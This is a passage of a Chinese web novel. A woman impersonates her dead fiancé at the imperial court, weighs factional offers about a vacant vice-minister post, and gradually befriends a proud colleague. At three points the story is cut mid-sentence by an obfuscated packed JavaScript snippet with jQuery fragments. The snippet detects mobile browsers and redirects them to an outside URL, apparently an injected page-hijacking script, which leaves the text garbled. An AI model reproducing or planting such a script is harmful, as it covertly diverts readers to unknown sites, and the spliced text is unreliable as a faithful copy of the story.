“顾兄慎言。”李郎上来做和事佬,劝道,“两个男人为了区区一个女子大打出手,这成何体统!更何况,婉清还是周兄刚过门的亡妻。于情于理,这都不合适啊!”
他意识到唤我名字时说漏了嘴,连忙改口道:“若是周夫人泉下有知,恐怕也会良心不安呐!”
我揉了揉太阳穴,在心里吐了口唾沫。这些男人,怎么一个一个的,都喜欢代替死人发声。周夫人没有良心不安,我良心安得很。
为了把众人的注意力拉回来,我大声咳嗽了几声,摇摇晃晃地站起身来。
刘郎装模作样过来扶我:“周弟,你嘴唇苍白,莫非是身体不适?”
我顺坡下驴,掏出手帕,捂着嘴继续咳:“没……没关系,大夫说只是积劳过度……忧思成疾罢了。”
说罢,我摊开白色的手帕,故意露出上面早已动过手脚的血渍。
李郎大惊:“这、这都吐血了。周弟你还是好好养病吧。”
这场吊唁仪式草草收场。次日我便以生病服丧为由,向朝廷请了半月有余的病假。
这半月里,我废寝忘食拼命补习,看完了书房里所有的案牍。
我摸清礼部的事务,背熟规章礼制,暗中遣人调查朝廷各派的势力,并将他们的姓名画像牢记于心。
幸好周郎口无遮拦,没有亲近的友人。我不用花太多功夫调查他的人际关系,也不用疲于处理多余的应酬。
我曾在名册中事无巨细地记载各个相好竹马的习惯,再加上我熟悉周郎的秉性喜好,模仿他日常的言行举止完全不成问题。
唯一需要注意的就是,周郎是个左撇子。
我下了一番苦工,日夜临摹他的书法,终于用左手写出了一模一样的字迹。
千万不要小瞧我对荣华富贵的渴望。为了守住这个身份,我决定将自己彻底变成周佑民。
13
很快我的病假结束了。哪怕我的内心再不情愿,还是得硬着头皮回去任职。
至今为止,我仍然不知道杀死周郎的人是谁,我害怕自己引火上身被人杀死,又舍不掉这当官的身份。
敌在明,我在暗。这是一场较量,看谁先沉不住气。此人希望周郎死,可我偏要往上爬。我倒要看看,到底鹿死谁手。
上朝当日,寅时三刻。我提前起了个大早,先去礼部转了一圈,打算熟悉位置布局以后,再前往正殿上朝。
此时天光未亮,入目之处皆是灰蒙蒙一片。我途经藏书阁,却见窗牖内隐隐透出暖光。
莫非里面有人?
我心中升起几分好奇,索性调转步伐,走进去一瞧究竟。
只见一个玉面郎君端坐在案前,眉头微微皱起,摊开泛黄的典籍。他低头垂眸,在白纸上笔走龙蛇,执笔抄写书卷的内容。
有匪君子,如切如磋,如琢如磨。其容貌端正,气质颇为沉稳,隐隐带着一股清冷之气。
看起来莫名有些眼熟。
我在脑海里回忆了一圈,才想起这人曾在名册画像里出现过,是我的同僚,名叫赵怀礼。
他本人比画像俊了好几分,害得我差点认不出来。
赵怀礼出身名门望族,跟我同为礼部主事,年龄相仿官阶相同。只是他为人清高孤傲,非但跟周郎毫无交情,就连同僚都少有私交。
没想到这样的冷君子,对经书倒是热心肠。竟然天不见亮,就在此伏案苦读。
若我的竹马们有他一半争气,清河县恐怕又能多出几位状元。
我不由得心生钦佩,便学着周郎往日的语气,上前搭话道:“赵兄知礼守节、循规蹈矩,就连字迹都如此方正,小弟我当真佩服。”
赵怀礼抬起头,眼底先是闪过一丝惊讶,而后满是警惕,最后带着几分鄙夷,问道:“周佑民,你是在嘲讽我吗?我再循规蹈矩,也好过你肆意妄为,赌场潇洒来得好吧。”
说罢他冷哼一声,合上了面前的书卷,起身朝屋外走去:“道不同不相为谋,我没有什么话可跟你说,不要跟我套近乎。”
啧,如此心高气傲之人,谁会热脸贴冷屁股?他不搭理我,我还不稀罕他呢。
原本心中尚存的半分好感,立刻就烟消云散。
我背着手,大步跨出藏书阁。此时天光乍破,晨曦初现,是时候去上朝了。
赵怀礼回过头,恼道:“你为何跟着我?”
“没有啊,赵兄何必自作多情。”我嗤笑了一声,回怼道,“从藏书阁到正殿,只有这一条路可走。你是去上朝,我也是去上朝。想要道不同不相为谋,赵兄恐怕只能飞着走喽!”
“你!”赵怀礼瞪了我一眼,半天憋不出骂人的话,只能嘟囔道,“巧言令色。”
不愧是书生,连骂人都如此高雅。
我在内心挖苦了几句,加快步伐超过了他,昂首跨步朝正殿走去。
14
钟声响起,宫门缓缓开启。
百官鱼贯而入,我跟在最后头。趁着众人站位,我连忙扫了一眼满朝文武,里头有不少我的旧相识。
我的那些竹马们,虽都是在朝为官,但身份高低不同。有人如鱼得水,有人泥泞挣扎。
其中混得最好的,当属张郎,张知节。
他娶了丞相的独女,一跃成为丞相的女婿,格外受到器重,不久便升为了礼部尚书。官阶越高,站位越靠前,现如今张知节就站在第二排。
处于中间位置的我,只能远远看到他的背影。
金銮殿上,烛火通明。香炉飘起袅袅轻烟,周遭弥漫着一股似有似无的淡香。我吸了吸鼻子,总觉得这气味莫名有些熟悉。
我还没来得及细想,便见皇帝抬起食指,不轻不重地敲打了几下龙椅。身旁的太监收到指示,立刻扬起脖子,尖着嗓子喊道:“有事启奏,无事退朝——”
“臣有事启奏。”其中一位朝臣出列,弯腰禀报道,“陈侍郎年事已高,前日乞骸骨归乡,如今礼部侍郎之位悬空,还请圣上定夺。”
“就这点小事,还需要拿到朕的面前来谈。朕养你们这些人,难道是养来吃闲饭的吗?”
我悄悄抬起头,观察着宝座之上的男人。他虽然正值壮年,容貌也算是俊朗,但眼窝深陷,瞳孔浑浊无神,满脸的不耐之色。一看就是纵欲过度、沉迷声色犬马的昏君。
“这些琐事,王丞相会看着处理,不要拿来耽误朕的时间。”
昏君打了个哈欠,神情有些郁郁。他目光阴鸷地盯着底下的朝臣,问道:“还有什么事吗?”
“这……”朝臣连忙低下了头,不敢继续吭声。
满朝文武无人出言,谁也不敢冒着掉脑袋的风险,去惹皇帝不高兴。
昏君似乎很满意这副场景。他随意摆了摆黄袍衣袖,宣布道:“既然无事,那便退朝罢。”
早朝便在这压抑的气氛中潦草收场,我甚至能隐约听见贤臣们的几声叹息。
只不过任他们再怎么折腾,这股忧国忧民之情,也未能传达至昏君那里。
一是他们不敢,二是昏君不愿。
昏君对所有抱怨充耳不闻。他带着主管太监,脚步生风离开了大殿,奔赴脂粉正浓的后宫。
待他离去后,才有大臣敢小声嘀咕:“陛下沉迷酒色,都怪那些庸俗宫妇。要不是她们故意引诱,陛下何至于无心早朝?”
我暗自皱了皱眉头,这些个懦弱无能之辈,不敢明着指责皇帝,只会把过错推卸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560168|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到女人身上。
世上哪来的那么多红颜祸水,都是男人的借口罢了。
15
早朝结束,群臣三三两两散去,互相攀谈着今日的见闻。
我本想找礼部的同僚寒暄几句,没想到他们对我的态度,都跟赵怀礼别无一二,对我唯恐避之不及。
更有甚者对我直呼其名,挥了挥衣袍,像是在驱赶路边的野狗:“周佑民,我可没有多余的银子借给你,你找别人去罢。”
我沉默了半晌,没想到周郎的名声已经烂到这种地步。一旦靠近,就会被当成借钱的赌鬼。
为了不让人看出问题,我很快挤出笑脸,摆出周郎常用的做派,没皮没脸地说道:“哎呀,我不是来借钱的,就是想谈谈政务,这都不成么?”
可惜对方并不买账:“我跟你没什么好谈的。”
我本以为当上官,就能吃穿不愁,绝无后顾之忧。没想到这当官的门道比我想的还深。
周郎品阶不高,但也算不上底层。哪怕他有些品行不端,但好歹也是个官,不应该得到如此轻慢的对待。
究其原因,估计是因为周郎出身寒门,背后又没有靠山,便混成了这副人憎狗嫌的模样。
就算是在寻常乡野,也多的是踩高拜低的小人。总是把人分为三五九等,根据地位区分对待。而京城风气更盛,可以说是有过之而无不及。
我见半天讨不着好,便息了套近乎的心思。
这时刘郎走了过来,嘴角含笑道:“周弟,听闻你最近手头不宽裕,若是急着用钱,我可以借些钱给你。”
无事献殷勤,非奸即盗。别人对我爱搭不理,刘郎却如此亲切,还主动提出帮忙,此事必定有诈。
我面上不显,打了个太极,推辞道:“多谢刘兄好意,我近日不缺银两,就不劳烦了。”
“哎,咱们都是同乡,这么客气干什么。”刘郎摆了摆手,身体凑近了几分,小声问道,“上回我说的事,你考虑得怎么样了?”
我很快反应过来,他指的是朝廷站队。
政党之争,从来都是看不见的刀光剑影。站队自然不能草率,因为一不小心,我可能就会落得个万劫不复。
我仍是打哈哈:“还没想好。刘兄你知道的,重要的事,总归要多想一下嘛。”
刘郎见我始终给不出确切的答复,便面露不虞之色。他定了定神,压低了嗓门:“你知不知道,今天讨论的礼部侍郎之位,有可能落在你的头上。”
我心神一震,仔细观察他的脸色,看起来不像是在说笑。于是偏过脑袋,追问道:“刘兄这话,是什么意思?”
刘郎似乎很满意我的反应,砸吧了几下嘴,又添了一把火:“就是字面意思。陈侍郎年迈归乡,这职位空了下来,多少人垂涎欲滴。启禀陛下侍郎的人选里,就有你的名字。只要你跟对了人,升官发财指日可待啊。”
我很是心动,但仔细一想,又觉得这事没有那么简单。天上掉馅饼的好事,哪有这么美,肯定要付出一定代价。我不确定,这代价我是否承担得起。
我眯起眼睛,试探道:“若我谁也不跟呢?”
“这……”刘郎愣了一下,似乎没想到我会如此谨慎。他见我不上钩,便加重了语气,威逼利诱道:“那你就等着吧,这升官发财的好事,你这辈子都轮不上了。你就只能在礼部,谋个高不成低不就的差事,干到死为止。”
许是觉得这番话有些言之过重,他又找补道:“寒门难出贵子,这话不是没有道理。我就直接跟你说吧,赵怀礼也在这次的人选里,赵家一脉都在朝廷为官,跟王丞相关系也不错。像咱们这种出身微薄之人,若不站队,哪里拼得过这些世家子?难道你还以为凭你几句酸诗,就能够打动圣上,获得侍郎的官职?”
刘郎所言不无道理。这些话若是换个人来讲,我八成就信了。只不过作为叶婉清,我很清楚刘郎的为人。
他是个无利不起早的人,断然不会费尽心机,只是好心好意劝我站队。
我若是跟了他,便是上了棋盘的棋子,很可能被利用完就丢弃。因此,在明确他的目的之前,我绝对不能贸然行事。
5. 赵怀礼
15
见我迟迟没有反应,刘郎显然不会自讨没趣。
他挥了挥衣袍,摆出一副怒其不争的模样,痛心疾首道:“周弟,我好心为你着想,还想到你如此不领情。罢了罢了,我言尽于此,你好之为之吧!”
说罢,他瞥了我一眼,佯装失望的神情,转身欲走。只是这脚步迈开,并未真的挪动。
他在故意吊我,就是在等我后悔,然后出言挽留。
都是千年的狐狸,搁我这里玩什么聊斋呢。我笑而不语,就静静地看着他演。
刘郎等了半晌,都没有等到我开口。他的脸上一会儿红一会儿青,走也不是,留也不是,看上去尴尬极了。
我不紧不慢地抬起头,清了清嗓子。
刘郎以为有希望,脸色缓和了些许。但我当然不会顺他的意。
“咦?”我面露不解,明知故问道,“刘兄不是要走么,为何还不动身,莫不是脚抽筋了?”
刘郎:“………”
他的脸上浮现出一个咬牙切齿、羞愤欲走的笑容。这回他是真的走了,并且脚步生风,仿佛有人在背后撵他似的。
“噗嗤。”我望着他的背影,没忍住笑出声来。
然而,我也没能得意多久。因为一转头我才发现,不知何时赵怀礼和张知节站在了我的身后。
我的笑容立刻僵在了脸上。我没想到会在这种情况下撞见张知节。
说出来有些丢脸,在我的所有竹马里,我曾经最看好的就是张知节。
他心思深沉,喜怒不显于行。人情世故通达,学识涵养也高。既没有周郎的轻浮,也没有顾郎的粗俗。既没有李郎的懦弱,也没有刘郎的势利眼。
非要说个缺点的话,我觉得他有点假。凡事不交心,说话总是留余地。换句话来说,就是他很虚伪。
但我不在乎他虚不虚伪。人若是能装一辈子,假的也能成为真的。
我原以为所有竹马里,他来娶我的可能性最高。因为他从不妄言,也不轻易许诺。
可惜他辜负了我的信任。
一想到这些,我的心里就很不痛快。这就好比眼前有一场豪赌,我偏偏看走了眼,还压错了宝。而这宝非但没有受损,还在别人手里过得挺好。
我心中怨气载道,脸上却不敢表现出分毫。现如今张知节是我的直属上司,我可不敢顶撞他。
成大事者不拘小节,忍一时风平浪静,退一步海阔天空。
我立刻侧身让出道路,俯身行礼道:“见过张尚书,见过赵主事。”
其实赵怀礼跟我品阶官职相同,我不行礼也没什么问题。但我不想叫人挑出什么错处,于是在问候张知节的时候,顺便捎上了他。
赵怀礼目不斜视,看起来根本没有把我放在眼里。而张知节神色如常,只是眼里多了几分琢磨的意味。
仅仅是这一眼,便看得我心惊肉跳。
我熟悉周郎的脾气,不代表就能万无一失。虽然我认识张知节,但我并不知道他私底下是如何同周郎相处的。我只能寄希望于自己打探的消息,确实符合两人的实际关系。
张知节微微颔首,云淡风轻瞥了我一眼,便跟赵怀礼并肩离去。
我暗自松了一口气。
看来我猜得不错,周郎这小虾米,再怎么蹦跶,都入不了他张知节的法眼。
待他们两人离去,我忽然觉出味来。
不对呀,我听闻赵怀礼与人寡合,从不媚上欺下,始终保持着秉公办事的态度。因此他跟张知节关系也很一般,未曾有任何纠葛,也没有好到会一起下朝的地步。
他们是如何走到一处去的?
电光火石间,我突然想起刘郎的那番话。原本的礼部侍郎准备告老还乡,这位置正好悬空,而我和赵怀礼都在替补名单之中。
这官职任免,从来不是一个人的升降,而是两党之间的争锋。武官这边派出刘郎来搭上我的关系,文官那边的王丞相地位卓然,自然不会亲自出手,于是就派出了自己的女婿张知节。他属意的人选应当就是赵怀礼。
赵家是世家大族,祖上出过好几个大官,在朝廷根基深厚,跟如今的王丞相关系不菲。
按理来说,赵怀礼的赢面比我大得多。
如今朝廷形势复杂,两方都想往重要职位塞自己人,及时抢占先机。刘郎扶持我,估计是因为忽悠不到其他的文官。
毕竟归根到底,文人大多都看不起武夫。谁敢冒着得罪丞相的风险,去给武官一派办事呢。
想到这里,我不由得犯起了疑心病。周郎中毒,该不会是死于党争吧?
毕竟只要除掉了周佑民,剩下的几个主事,要么资历不够,要么经验不足,都不是什么强有力的竞争人选。这礼部侍郎一职,肯定稳稳当当地落在赵怀礼的头上。
很快我又否定了这个想法。两党相争,固然激烈,但不至于闹出人命,因为他们多得是杀人不见血的法子。
无论是上书污蔑,还是暗中构陷,都比派人下毒来得妥当。后者是他人所害,前者则是咎由自取,怪不到他们头上。
若真是逼不得已派人下毒,那绝不仅仅是因为党争,肯定涉及更深的阴谋。至于是什么阴谋,目前还不得而知。
我隐隐觉得,自己无意中踏入了一条深不见底的暗河。我只知道河底蛰伏着一只恶兽,却不知是怎样的庞然大物。
既然我已以身入局,将来某日必定会上演一出龙争虎斗。
最终只能是你死我活。
16
按照祖制,应是一日一朝。但昏君做不到勤如此政爱民。他夜夜笙歌,晨起困难,便改为了三日一朝。
次日没有早朝,礼部最近并无要事,公务也不繁重,我便得了空闲,早早回了府。
家仆刚得了月钱,见我立刻喜笑颜开。他见我无所事事,便给我出主意:“近日西街那头,新开放了一处集市。大人若是在家郁闷,不妨出门散散心?”
他这话倒是点醒了我。这番我进京,总觉得头上悬着一把刀子,生怕出现纰漏暴露身份。因此日日忙得脚不沾地,从未停下来歇息片刻。
如今想来,我好像还未曾好好看一眼这京城街头的盛况。
我微微点头,背着手跨过门槛,对家仆笑道:“你倒是聪慧,知道你家大人想要什么。”
家仆明白方才那话深得我心,故意低下头,摆出一副受宠若惊的模样:“小人岂敢,只不过是跟着大人久了,脑子也跟着通透了几分。”
他这马屁拍得恰好,很讨人喜欢。我闻言,挥了挥衣袖,笑着跨过了门槛。
我原以为这家仆只是忠心,没想到还这般机灵。看来周佑民还不至于倒霉透底。
凡是在朝为官的,出行大多备有马车。可惜我如今手头拮据,只能出门步行。
如果我用从县令那里敲诈来的一笔银子,租一辆马车绝对绰绰有余。只是不到万不得已,我不想动用这笔钱。如今我处境不明,说不定以后这就成了我的救命钱。
西街熙熙攘攘,热闹非凡。小贩的吆喝声不断,扎着糖葫芦的大叔踱着步子,时不时叫卖几句,其中还夹杂着买菜大婶讨价还价的声音。
没成想在路上竟然撞见了一个意料之外的人,赵怀礼。
他的身侧站着一个稚童,看起来大约四五岁的年纪。那孩子仰头指着面前的大树,眼里噙着泪水。
我顺着他的手指看去,才发现树梢上挂着个崭新的纸鸢。
赵怀礼俯身凑到孩子耳边,轻声说了几句话,牵着他的手想要离开。孩子却死活不肯动,跟木桩子似的扎在地面,费力拖拽着赵怀礼的手。
我不自觉地走近了几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560169|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
步,总算听清了两人的对话。
赵怀礼说:“此处没有梯子,纸鸢丢了便丢了。小叔给你买个新的,好吗?”
小孩哭道:“不好,不好!别的我不要,我就要这个!”
赵怀礼只好让步:“那这样,你先跟小叔回府,我们喊人搬梯子,过来把纸鸢取下来。”
小孩一听要回家,哭得更大声:“不要,不要!呜呜呜爹娘好不容易才许我出来玩,我、我才不要回去!”
他哭着哭着,越想越伤心,便由原本的小声呜咽,转为了嚎啕大哭。
赵怀礼就手足无措地站在一旁,试图给小孩讲大道理:“君子当不以物喜,不以己悲。纸鸢不过是身外之物,堂堂好儿郎怎可为此哭泣?如今你年纪尚小,还有人看顾。等长大以后……”
小孩完全听不进他的话,只是一个劲儿地大哭,仿佛想用自己的哭声,盖过他的长篇大论。
我在旁边看笑了。
不愧是名门望族养出来的小公子,真是不食人间烟火,简直天真得可笑。
我忍不住开口道:“赵怀礼,你是读书读傻了吗?”
赵怀礼闻言,回过头来看我,下意识皱起了眉。
我学着周郎平日里吊儿郎当的语气,笑道:“正所谓一屋不扫,何以扫天下。赵兄连区区一介稚童的烦恼都无法解决,又如何解决天下百姓的烦恼呢?”
赵怀礼面无表情,只是冷声回答道:“我赵某人的家事,应当与周主事无关。”
“是跟我没关系。可谁叫我天生心善,见不得孩子哭呢。”
我小步快走,跑到不远处的大叔那里,买了一个糖葫芦,而后折返回来,将其塞到了孩子手里:“喏,给你的。”
小孩不哭了,只是面带泪珠,愣愣地看着我。他盯着糖葫芦半晌,咽了咽口水,试探着伸出舌头,舔了一小口。
我小声对赵怀礼说:“小娃娃都是这样,眼泪来得快,去得也快。把注意力转移到别处,他便不闹了。”
赵怀礼听后若有所思,神情却不太赞同:“此法乍一听可行,但治标不治本。往后他若是再遇见类似的事,只会选择逃避,用其他事来搪塞。”
我扬了扬下巴,笑道:“你等着,我这就治一个本给你看看。”
说罢,我便掀起衣袍,快步走至树旁,两手抱住树干,双脚用力一瞪,三五两下爬上了树梢。
再回过头,便看见赵怀礼双唇微张,神情惊讶又茫然。
他这副模样,倒是比上回见面顺眼多了。
我忍不住嗤嗤笑了起来,树梢随着我肩膀的抽动上下摇晃,赵怀礼的脸上浮现出一丝担忧,但很快又被压了下去。
他抿了抿唇,板着脸说道:“别笑了,还不快下来,当心乐极生悲,从上头栽下来。”
我耸了耸肩,不以为然道:“我要是摔下来,头一个遭殃的就是赵兄。到时候你在下面当我的人肉垫,我也伤不着哪里。”
赵怀礼被我混不吝的态度给气笑了,他抽了抽嘴角,冷笑道:“好一个伶牙俐齿!”
我对此适应良好,甚至挥了挥手,故意摇了几下树枝:“多谢赵兄夸奖。”
赵怀礼见我在树上乱动,明显紧张了起来。我偏偏就喜欢看他这副胆战心惊的神情,逗弄起来实在是太有意思了。
我头一回感受到周郎的妙处,借着他原本的性格,我终于可以摆脱伪装的淑女模样,肆意妄为地当一个混蛋。
然而,天有不测风云。或许我真的是有些得意忘形了,紧接着树梢处就传来了一声响亮的“咔嚓”声。
我跟赵怀礼对视了一眼,原本的笑容僵在了脸上。
该死的,一定是成为周郎后伙食太好,我身体重了几分,才会出现这种情况。
我必须赶在脚下树干彻底断裂之前,转移到别的位置!
6. 俗人
17
我当机立断转身,伸手去捞挂在不远处的纸鸢。
树下的赵怀礼急道:“你还管纸鸢作甚,还不快下来!”
我没理会他的话,只是全神贯注感受着身边的动静,手脚利索地抓着纸鸢朝树干移动。
只听得“咔咔”两声,我的身体猛地一沉,即将随着树梢往下坠落。
说时迟,那时快。我迅速起身,张开双手,纵身一跃,朝旁边俯冲而去,及时抱住了树干。
身后传来树枝下坠,摔得四分五裂的声音。
我顿时松了一口气,不由得生出几分劫后余生的感概。这老树生得挺高,要是跌下去,就算不死,也得断几根骨头。
“咳咳。”树下传来生硬的咳嗽声。
我低下头一看,只见赵怀礼双手抱胸,仰头直盯着我。虽然他面无表情,却好像在说:你看,刚才不听我的话,现在差点出事了吧?
我有些心虚,故意扭过头看他,只是默默抱着纸鸢爬下了树。
不知道为什么,我就是不想在赵怀礼面前服软。本来他就看不起我,这已经让我够恼火了,要是再低头认错,那他得清高到何等地步。
可迎接我的并不是预想中的冷嘲热讽。
赵怀礼从袖口掏出一块手帕,递了过来:“擦一擦。”
“大哥哥,你的脸沾了好多灰,看起来就像是狸花猫哈哈哈。”旁边的小孩指着我的脸,咯咯咯笑个没完。
赵怀礼敲了一下他的头,批评道:“不得无礼,别人为帮你拿纸鸢,甚至以身犯险,你应该说什么?”
小孩捂着脑门,有点委屈,但还是听话地说道:“谢谢。”
我蹲下身,保持平视的高度,将纸鸢递给过去,冲他笑道:“不用谢,既然你这么喜欢它,以后可要抓紧,不要再让风吹走了。”
小孩都喜欢亲切的人。周郎生了副好皮囊,若是去掉轻浮的姿态,笑起来也很讨人喜欢。如今我顶着他的脸,肯定也差不哪去。
小孩盯着我看了一会儿,突然有些不好意思,低头小声道:“对不起,我刚才不应该笑你。”
“那我给你一个将功补过的机会。”我把手帕递给了小孩,“你帮我擦脸,这样我看起来就不像花猫了。”
说罢,我朝赵怀礼眨了眨眼。
看吧,小孩子是要这样带的,可不是说一堆大道理就能教好的。
赵怀礼对此没有任何反应,但我发现他的嘴角稍微上扬了些许。我想他应该也有几分认同我的观点,只不过碍于面子不好表露出来。
尽管如此,我也没能得意太久。
因为我很快就发现自己算错了一件事,那就是这孩子是名门贵族的小公子。他根本就不会服侍人,更别说给别人擦脸了。
手帕糊了我满脸,动作还没轻没重,不知道的还以为在受什么酷刑。再任由他继续下去,说不定我的人皮面具都要被薅下来。
“停,打住,擦得差不多了。”
我正要从孩子的手里夺过手帕,没想到赵怀礼却先一步拿起手帕,平静道:“我来吧。”
我不由得愣在原地:“啊?”
赵怀礼旁若无人,非常自然地抬起手,轻轻擦拭着我的脸颊。
他的动作很轻柔,举手投足仍带着几分贵公子的优雅,仿佛不是在帮人擦脸,而是在品茗喝茶。
我有些混乱了。
我不懂他为何会这样。在我看来,他应该不屑跟我这样出生低贱的人为伍。
哪怕金榜题名,麻雀飞上枝头变凤凰,寒门学子也始终是麻雀,比不上他这种出生在书香世家的凤凰。
如果现在这里有镜子,我想我的表情一定看起来很傻。
我很快回过神来,迅速朝后撤了一步,跟赵怀礼拉开距离。我尬笑几声,悻悻然伸出手:“这点小事,就不劳烦赵兄,我自己来就行。”
赵怀礼皱了皱眉,忽然道:“你受伤了。”
我顺着他的视线,低头望向自己的胳膊。那里划出了一道细长的小口,正朝外渗着血珠。
“嗐,我还以为是多大的事。不过是擦伤了表皮,不打紧。”我呲了呲牙,毫不在意地冲赵怀礼笑了笑。
在遇见阿婆之前,我跟着难民四处流浪。混迹在乞丐中,讨过几口饭。无论是爬树摘野果充饥,还是下河捞鱼,稍微有点跌打损伤,都是家常便饭。
跟曾经受过的苦相比,这点小伤简直不足挂齿。
显然赵怀礼不这么想。他满脸不赞同,冷声道:“你不能这样糟蹋自己的身体,我送你去医馆。”
我连忙摇头拒绝:“不用。”
要是真去了医馆,不遇见厉害的大夫,看出男女脉象的差异,那我不就遭殃了嘛。
赵怀礼却不知哪根筋搭错了,摆出一副负责到底的态度,坚持道:“你是因为我侄子受的伤,若是落下病根,便是我的过错。”
我再三推辞,他却不为所动。我正头疼着,肚子突然传来一阵咕咕声。
赵怀礼安静了片刻。
我摸了摸鼻尖,讪讪道:“我还未用午膳,好像有些饿了。”
说着说着,我意识到这是转移话题的好时机,于是挤出一个没皮没脸的笑容,改口道:“赵兄看见我这点小伤口,就责怪我糟蹋身体。若是我饿着肚子,在你眼里岂不是跟自残无异?赵兄要是真的想表达感谢,倒不如请我用膳。”
赵怀礼似是没想到我会说出这番话,他神情微顿,思考片刻后,最终做出了让步:“好。”
18
醉仙楼是京城最有名的酒楼。样式精致,味道鲜美,价格自然也十分高昂。
像我这样的身份,就算是用尽全部俸禄,也只能点上两三盘菜。但赵怀礼大手一挥,便云淡风轻地点了一桌子菜。
我看着颇为肉疼。
根本就吃不完,点这么多干嘛,钱多没处花,还不如给我呢。
这话我在心中腹诽,但不会真的说出口。
制作饭菜需要一些时间,因此先上了几盘糕点垫肚子。
我吃得津津有味,正想感叹美味。没想到小孩啃了几口,撇了撇嘴,嫌弃道:“还不如家里厨娘做的好吃呢。”
话说到这种地步,我只好把嘴边的“好吃”二字给重新咽了下去,接着默默把手里的点心放回回去。
连小公子都嫌弃的糕点,我要是表现得太过喜欢,岂不是显得没见过世面。
不吃东西,就只好聊天。我跟赵怀礼的共同话题不多,于是没话找话道:“赵兄,你对礼部侍郎的位置怎么看?”
其实我提起这个话茬,多少也有几分试探的意味。我想要知道赵家跟丞相的态度,以及他们是如何看待周佑民的。因为毒杀周佑民的幕后黑手,说不定就藏在他们之中。
赵怀礼没急着回答,只是瞥了我一眼,轻描淡写说道:“没什么看法。”
他如此避重就轻,大概是在提防我。我岂能如此轻易就放弃,于是故作无意地问道:“我听说,这礼部侍郎之位似乎有意交给赵兄,周某就在这里提前恭喜了。”
果不其然,赵怀礼听见我的话,立即皱起了眉头:“你听谁说的?”
我装作惊讶无措的模样,捂着嘴说道:“莫非我方才的话,不小心冒犯了赵兄?不过是同僚私下的流言,赵兄某要当真。”
在这种局势尚未明朗的时候,我当然不可能直接供出刘郎。多给自己留条后路也没什么不好,因此我含糊其辞说是同僚间的议论。
可能这话触着了赵怀礼的什么痛处,他露出了厌烦的神情:“不管这职位给谁,圣上都自有安排,再多议论都是无用。不管是赵家,还是别家,都是能者居上,容不下结党营私、居心叵测之人。”
听见这话,我忽然明白了他的心情。
赵怀礼从小身处优渥的环境,自然免不了听见各种议论。肯定有人嫉恨他的家世,背地里诋毁造谣,说他能有如今的地位,靠的不是真才实学,而是世家大族的身份。
我决定利用他的这种心理。
我垂下头,故意做出为难的样子,刺激道:“其实啊,有人说赵兄的身份摆在这里,这位置绝对落在你的头上,是我等不敢肖想的。”
说到这里,我又话锋一转,用欣赏的语气感叹道:“没想到赵兄如此刚正不阿,实在是令我叹服。若是这侍郎之位给了别人,赵兄应该也没有任何怨言吧?”
“自然。”赵怀礼点了点头。“只要这人有能力,我便心服口服。”
确认了他的真实想法,我心中稍微松了口气。就算周郎死于党争,大概也跟赵怀礼无关。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560170|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我垂下双眸,轻声问出了心底埋藏已久的问题:“既然如此,赵兄又为何跟张尚书走得那么近?”
赵怀礼忽然不说话了。
我知道这个问题有些敏感冒昧,已经超出我们之间的关系范畴。
包厢内的气氛冷了下去,饭菜迟迟没有上桌,唯有无尽的沉默。
我算是个有眼力见的人,直接追问很难得到结果,自然不必继续纠缠下去。
左右也无事,我便转过头去,拿着剩下的糕点来逗小孩。我将双手背在身后,捏成拳头伸出,问道:“你猜猜看,糕点在哪只手里?”
小孩挠了挠头,纠结了一阵,不确定地回答道:“左手。”
我摊开空荡荡的手掌,笑道:“错了。”
小孩撅起嘴,不服气道:“再来。”
我收回手,再次伸出两个拳头:“选哪个?”
小孩这次改了口,回答道:“右手。”
我摊开掌心,将包好的糕点递了过去:“猜对了。”
小孩满心欢喜,捧着糕点乐个没完,高兴地吃了起来。仿佛方才还嫌弃至极的食物,现在变成了美味珍馐。
赵怀礼神情柔和了些许,他忍不住喟叹道:“你倒是会哄小孩。”
“这是自然,我小时候可是村里的孩子王。小孩子都是这样,你若是直接给他,他未必就欢喜。但你若是让他争一争,拿在手里便会视若珍宝。”
我为赵怀礼添了茶水,不徐不缓地说道:“不止小孩如此,大人亦如此。赵兄对官位不屑一顾,那是因为对你而言,这官位唾手可得。你可知有多少寒门学子,为这区区一个官位,争得个头破血流。你又可知自己弃之敝履的,正是他人梦寐以求的?”
赵怀礼闻言,神情严肃了起来。他的嘴唇抿成一条直线,声音也多了几分认真:“我知道你的意思,我并非是那种会轻易说出''何不食肉糜''之类话的人。我跟张知节见面,并非是你所想的那样。那是赵家的安排,而不是我本人的意愿。我绝不会因为家族利益,就选择违背自己的本心。”
